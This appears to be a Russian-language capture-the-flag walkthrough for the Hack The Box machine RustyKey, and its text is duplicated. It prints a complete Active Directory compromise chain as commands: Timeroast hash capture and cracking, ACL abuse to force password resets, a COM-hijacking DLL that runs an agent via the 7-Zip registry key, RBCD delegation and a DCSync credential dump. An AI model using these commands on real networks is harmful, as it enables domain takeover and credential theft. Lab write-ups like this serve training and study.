stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу применение техники COM Hijacking для повышения привилегий в Windows. Но прежде разберем эксплуатацию цепочки разрешений ACL и скомпрометируем служебную учетку.
Наша конечная цель — получение прав суперпользователя на машине RustyKey с учебной площадки Hack The Box. Уровень задания — сложный.
10.10.11.75 rustykey.htb
В дополнение к IP нам предоставили учетные данные пользователя домена.
Для просмотра ссылки Войдиили Зарегистрируйся
Но для начала запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел много открытых портов:
или Зарегистрируйся.
nxc smb 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A'
Для просмотра ссылки Войдиили Зарегистрируйся
В ответе получаем ошибку STATUS_NOT_SUPPORTED, а значит, будем использовать аутентификацию Kerberos. Для этого обновим запись в файле /etc/hosts.
10.10.11.75 rustykey.htb dc.rustykey.htb dc
Теперь можно обратиться к LDAP и запросить список пользователей. Иногда в описании учетных записей попадается полезная информация.
faketime -f '+8h' nxc ldap dc.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users
Для просмотра ссылки Войдиили Зарегистрируйся
Аутентификация пройдена, список пользователей сохраняем в файл. Теперь просмотрим список общих SMB-каталогов.
faketime -f '+8h' nxc smb dc.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --shares
Для просмотра ссылки Войдиили Зарегистрируйся
Тут тоже ничего интересного не находим, а значит, будем собирать информацию о домене с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Собирать данные будем с помощью коллектора Для просмотра ссылки Войдиили Зарегистрируйся, он может использовать аутентификацию Kerberos. Внесем информацию о целевом домене в файл /etc/krb5.conf.
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTB
[libdefaults]
default_realm = RUSTYKEY.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
RUSTYKEY.HTB = {
kdc = DC.RUSTYKEY.HTB
admin_server = DC.RUSTYKEY.HTB
default_domain = RUSTYKEY.HTB
}
Затем запросим TGT-билет пользователя и выполним подключение к службе LDAP.
faketime -f '+8h' getTGT.py rustykey.htb/'rr.parker':'8#t5HE8L!W3A'
Для просмотра ссылки Войдиили Зарегистрируйся
KRB5CCNAME=rr.parker.ccache faketime -f "+8h" ./rusthound-ce -d rustykey.htb -u rr.parker -f DC -k -z -c All
Для просмотра ссылки Войдиили Зарегистрируйся
К сожалению, и тут никакого пути продвижения не находим. Также я решил проверить уязвимые к Pre2k и Timeroast учетные записи компьютеров. Первый вариант ни к чему не приводит, а вот второй дает возможность скомпрометировать учетную запись IT-COMPUTER3.
Первым делом получаем хеши учетных записей.
nxc smb 10.10.11.75 -M timeroast
Для просмотра ссылки Войдиили Зарегистрируйся
Затем используем Для просмотра ссылки Войдиили Зарегистрируйся для подбора пароля к полученным хешам. Перебор производится очень быстро, получаем один пароль.
hashcat -m 31300 hashes.txt rockyou.txt
Для просмотра ссылки Войдиили Зарегистрируйся
С помощью NetExec проверяем, валидный ли пароль.
faketime -f '+8h' nxc ldap dc.rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для добавления учетной записи в группу воспользуемся инструментом BloodyAD.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb add groupMember HELPDESK 'IT-COMPUTER3$'
Для просмотра ссылки Войдиили Зарегистрируйся
Члены группы HELPDESK имеют право AddMember на группу PROTECTED OBJECTS и право ForceChangePassword — на четыре учетные записи пользователей. Право AddMember позволяет добавить кого угодно в группу, а ForceChangePassword — изменить пароль учетной записи.
Для просмотра ссылки Войдиили Зарегистрируйся
Некоторые из представленных в графе пользователей состоят в группах IT и SUPPORT, которые также входят в группу PROTECTED OBJECT.
Для просмотра ссылки Войдиили Зарегистрируйся
Группа PROTECTED OBJECT, в свою очередь, включена в группу PROTECTED USERS.
Для просмотра ссылки Войдиили Зарегистрируйся
Значит, если мы удалим группу IT из группы PROTECTED OBJECTS, то ограничения группы PROTECTED USERS больше не будут распространяться на учетную запись bb.morgan.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'IT'
Для просмотра ссылки Войдиили Зарегистрируйся
Затем мы можем установить пользователю bb.morgan новый пароль.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb set password bb.morgan 'P@sswd123'
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь получаем TGT-билет пользователя bb.morgan, авторизуемся через WinRM и забираем первый флаг.
faketime -f '+8h' getTGT.py rustykey.htb/'bb.morgan':'P@sswd123'
Для просмотра ссылки Войдиили Зарегистрируйся
KRB5CCNAME=bb.morgan.ccache faketime -f "+8h" evil-winrm -i dc.rustykey.htb -u 'bb.morgan' -r rustykey.htb
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
В группе Support есть пользователь ee.read, а сама группа входит в Protected Objects. По старой схеме удалим группу Support из Protected Objects, а затем изменим пароль пользователя ee.read.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
Для просмотра ссылки Войдиили Зарегистрируйся
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb set password ee.reed 'P@sswd123'
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь запросим тикет пользователя ee.reed и получим сессию на хосте через WinRM.
faketime -f '+8h' getTGT.py rustykey.htb/'ee.reed':'P@sswd123'
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь взглянем на установленное ПО в поисках каких‑нибудь архиваторов. Так найдем установленный 7-Zip.
KRB5CCNAME=ee.reed.ccache faketime -f "+8h" evil-winrm -i dc.rustykey.htb -u 'ee.reed' -r rustykey.htb
Для просмотра ссылки Войдиили Зарегистрируйся
RunasCS.exe -d rustykey.htb ee.reed P@sswd123 "cmd.exe /c reg query HKCR\CLSID /s /f 7-zip"
Для просмотра ссылки Войдиили Зарегистрируйся
Создадим DLL, которая будет запускать наш агент.
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd /c C:\\\\Windows\\\\Tasks\\\\gopher.exe");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
x86_64-w64-mingw32-gcc -shared -o ax.dll dll.c
Загрузим на хост созданную DLL и файл агента, после чего изменим запись в реестре и спустя время получим сессию от имени пользователя mm.turner.
C:\Users\bb.morgan\Documents\RunasCS.exe -d rustykey.htb ee.reed P@sswd123 "cmd /c reg.exe add HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InProcServer32 /t REG_SZ /d C:\Windows\Tasks\ax.dll /f"
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Право AddAllowedToAct позволяет изменить значение атрибута msDS-AllowedToActOnBehalfOfOtherIdentity целевой учетной записи. Мы можем прописать в этом атрибуте подконтрольную машинную учетную запись IT-COMPUTER3$ и использовать RBCD для компрометации целевой учетной записи.
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь от имени IT-COMPUTER3$ запрашиваем TGS-билет для службы CIFS на контроллере домена на имя пользователя backupadmin.
faketime -f '+8h' getST.py -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/it-computer3$:Rusty88!'
Для просмотра ссылки Войдиили Зарегистрируйся
С полученным тикетом дампим LSA-секреты и выполняем DCSync для репликации учетных данных домена.
KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache faketime -f '+8h' secretsdump.py -k -no-pass rustykey.htb/backupadmin@dc.rustykey.htb
Для просмотра ссылки Войдиили Зарегистрируйся
Среди LSA-секретов находим пароль администратора домена. Запрашиваем его TGT-билет и получаем сессию по WinRM.
faketime -f '+8h' getTGT.py 'RUSTYKEY.HTB/administrator':'Rustyrc4key#!'
Для просмотра ссылки Войдиили Зарегистрируйся
KRB5CCNAME=administrator.ccache faketime -f '+8h' evil-winrm -i dc.rustykey.htb -r rustykey.htb
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине RustyKey с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.75 rustykey.htb
В дополнение к IP нам предоставили учетные данные пользователя домена.
Для просмотра ссылки Войди
Но для начала запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел много открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
Точка входа
Проверим выданные нам учетные данные с помощью Для просмотра ссылки Войдиnxc smb 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A'
Для просмотра ссылки Войди
В ответе получаем ошибку STATUS_NOT_SUPPORTED, а значит, будем использовать аутентификацию Kerberos. Для этого обновим запись в файле /etc/hosts.
10.10.11.75 rustykey.htb dc.rustykey.htb dc
Теперь можно обратиться к LDAP и запросить список пользователей. Иногда в описании учетных записей попадается полезная информация.
faketime -f '+8h' nxc ldap dc.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users
Для просмотра ссылки Войди
Аутентификация пройдена, список пользователей сохраняем в файл. Теперь просмотрим список общих SMB-каталогов.
faketime -f '+8h' nxc smb dc.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --shares
Для просмотра ссылки Войди
Тут тоже ничего интересного не находим, а значит, будем собирать информацию о домене с помощью Для просмотра ссылки Войди
Справка: BloodHound
Утилита Для просмотра ссылки ВойдиСобирать данные будем с помощью коллектора Для просмотра ссылки Войди
[domain_realm]
.rustykey.htb = RUSTYKEY.HTB
rustykey.htb = RUSTYKEY.HTB
[libdefaults]
default_realm = RUSTYKEY.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
RUSTYKEY.HTB = {
kdc = DC.RUSTYKEY.HTB
admin_server = DC.RUSTYKEY.HTB
default_domain = RUSTYKEY.HTB
}
Затем запросим TGT-билет пользователя и выполним подключение к службе LDAP.
faketime -f '+8h' getTGT.py rustykey.htb/'rr.parker':'8#t5HE8L!W3A'
Для просмотра ссылки Войди
KRB5CCNAME=rr.parker.ccache faketime -f "+8h" ./rusthound-ce -d rustykey.htb -u rr.parker -f DC -k -z -c All
Для просмотра ссылки Войди
К сожалению, и тут никакого пути продвижения не находим. Также я решил проверить уязвимые к Pre2k и Timeroast учетные записи компьютеров. Первый вариант ни к чему не приводит, а вот второй дает возможность скомпрометировать учетную запись IT-COMPUTER3.
Первым делом получаем хеши учетных записей.
nxc smb 10.10.11.75 -M timeroast
Для просмотра ссылки Войди
Затем используем Для просмотра ссылки Войди
hashcat -m 31300 hashes.txt rockyou.txt
Для просмотра ссылки Войди
С помощью NetExec проверяем, валидный ли пароль.
faketime -f '+8h' nxc ldap dc.rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k
Для просмотра ссылки Войди
Точка опоры
Мы скомпрометировали новую учетную запись, а значит, перестраиваем граф BloodHound. В результате видим, что учетная запись IT-COMPUTER3$ имеет право AddSelf на группу HELPDESK, что позволяет учетной записи добавить себя в целевую группу.Для просмотра ссылки Войди
Для добавления учетной записи в группу воспользуемся инструментом BloodyAD.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb add groupMember HELPDESK 'IT-COMPUTER3$'
Для просмотра ссылки Войди
Члены группы HELPDESK имеют право AddMember на группу PROTECTED OBJECTS и право ForceChangePassword — на четыре учетные записи пользователей. Право AddMember позволяет добавить кого угодно в группу, а ForceChangePassword — изменить пароль учетной записи.
Для просмотра ссылки Войди
Некоторые из представленных в графе пользователей состоят в группах IT и SUPPORT, которые также входят в группу PROTECTED OBJECT.
Для просмотра ссылки Войди
Группа PROTECTED OBJECT, в свою очередь, включена в группу PROTECTED USERS.
Для просмотра ссылки Войди
Значит, если мы удалим группу IT из группы PROTECTED OBJECTS, то ограничения группы PROTECTED USERS больше не будут распространяться на учетную запись bb.morgan.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'IT'
Для просмотра ссылки Войди
Затем мы можем установить пользователю bb.morgan новый пароль.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb set password bb.morgan 'P@sswd123'
Для просмотра ссылки Войди
Теперь получаем TGT-билет пользователя bb.morgan, авторизуемся через WinRM и забираем первый флаг.
faketime -f '+8h' getTGT.py rustykey.htb/'bb.morgan':'P@sswd123'
Для просмотра ссылки Войди
KRB5CCNAME=bb.morgan.ccache faketime -f "+8h" evil-winrm -i dc.rustykey.htb -u 'bb.morgan' -r rustykey.htb
Для просмотра ссылки Войди
Продвижение
На рабочем столе пользователя есть PDF-документ. Там говорится о тестировании функций архивирования, для этого пользователь наделен правом редактировать реестр.Для просмотра ссылки Войди
В группе Support есть пользователь ee.read, а сама группа входит в Protected Objects. По старой схеме удалим группу Support из Protected Objects, а затем изменим пароль пользователя ee.read.
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
Для просмотра ссылки Войди
faketime -f '+8h' bloodyAD -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k --host dc.rustykey.htb set password ee.reed 'P@sswd123'
Для просмотра ссылки Войди
Теперь запросим тикет пользователя ee.reed и получим сессию на хосте через WinRM.
faketime -f '+8h' getTGT.py rustykey.htb/'ee.reed':'P@sswd123'
Для просмотра ссылки Войди
Теперь взглянем на установленное ПО в поисках каких‑нибудь архиваторов. Так найдем установленный 7-Zip.
KRB5CCNAME=ee.reed.ccache faketime -f "+8h" evil-winrm -i dc.rustykey.htb -u 'ee.reed' -r rustykey.htb
Для просмотра ссылки Войди
COM Hijacking
COM — это функция Windows, которая обеспечивает взаимодействие между программными компонентами через саму операционную систему. COM-классы могут быть связаны с DLL-библиотеками приложения‑обработчика. Когда вызывающее приложение пытается связаться с приложением‑обработчиком, будет выполняться именно код из связанных DLL. Это позволяет нам изменить ссылку на DLL в реестре и тем самым добиться выполнения своего кода. Найдем записи для 7-Zip в реестре.RunasCS.exe -d rustykey.htb ee.reed P@sswd123 "cmd.exe /c reg query HKCR\CLSID /s /f 7-zip"
Для просмотра ссылки Войди
Создадим DLL, которая будет запускать наш агент.
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd /c C:\\\\Windows\\\\Tasks\\\\gopher.exe");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
x86_64-w64-mingw32-gcc -shared -o ax.dll dll.c
Загрузим на хост созданную DLL и файл агента, после чего изменим запись в реестре и спустя время получим сессию от имени пользователя mm.turner.
C:\Users\bb.morgan\Documents\RunasCS.exe -d rustykey.htb ee.reed P@sswd123 "cmd /c reg.exe add HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InProcServer32 /t REG_SZ /d C:\Windows\Tasks\ax.dll /f"
Для просмотра ссылки Войди
Локальное повышение привилегий
Перестроим граф BloodHound от полученной только что учетной записи и узнаем путь компрометации контроллера домена. Пользователь mm.turner — член группы DELEGATIONMANAGER, которая обладает правом AddAllowedToAct на учетную запись контроллера домена.Для просмотра ссылки Войди
Право AddAllowedToAct позволяет изменить значение атрибута msDS-AllowedToActOnBehalfOfOtherIdentity целевой учетной записи. Мы можем прописать в этом атрибуте подконтрольную машинную учетную запись IT-COMPUTER3$ и использовать RBCD для компрометации целевой учетной записи.
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Для просмотра ссылки Войди
Теперь от имени IT-COMPUTER3$ запрашиваем TGS-билет для службы CIFS на контроллере домена на имя пользователя backupadmin.
faketime -f '+8h' getST.py -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/it-computer3$:Rusty88!'
Для просмотра ссылки Войди
С полученным тикетом дампим LSA-секреты и выполняем DCSync для репликации учетных данных домена.
KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache faketime -f '+8h' secretsdump.py -k -no-pass rustykey.htb/backupadmin@dc.rustykey.htb
Для просмотра ссылки Войди
Среди LSA-секретов находим пароль администратора домена. Запрашиваем его TGT-билет и получаем сессию по WinRM.
faketime -f '+8h' getTGT.py 'RUSTYKEY.HTB/administrator':'Rustyrc4key#!'
Для просмотра ссылки Войди
KRB5CCNAME=administrator.ccache faketime -f '+8h' evil-winrm -i dc.rustykey.htb -r rustykey.htb
Для просмотра ссылки Войди
Машина захвачена!
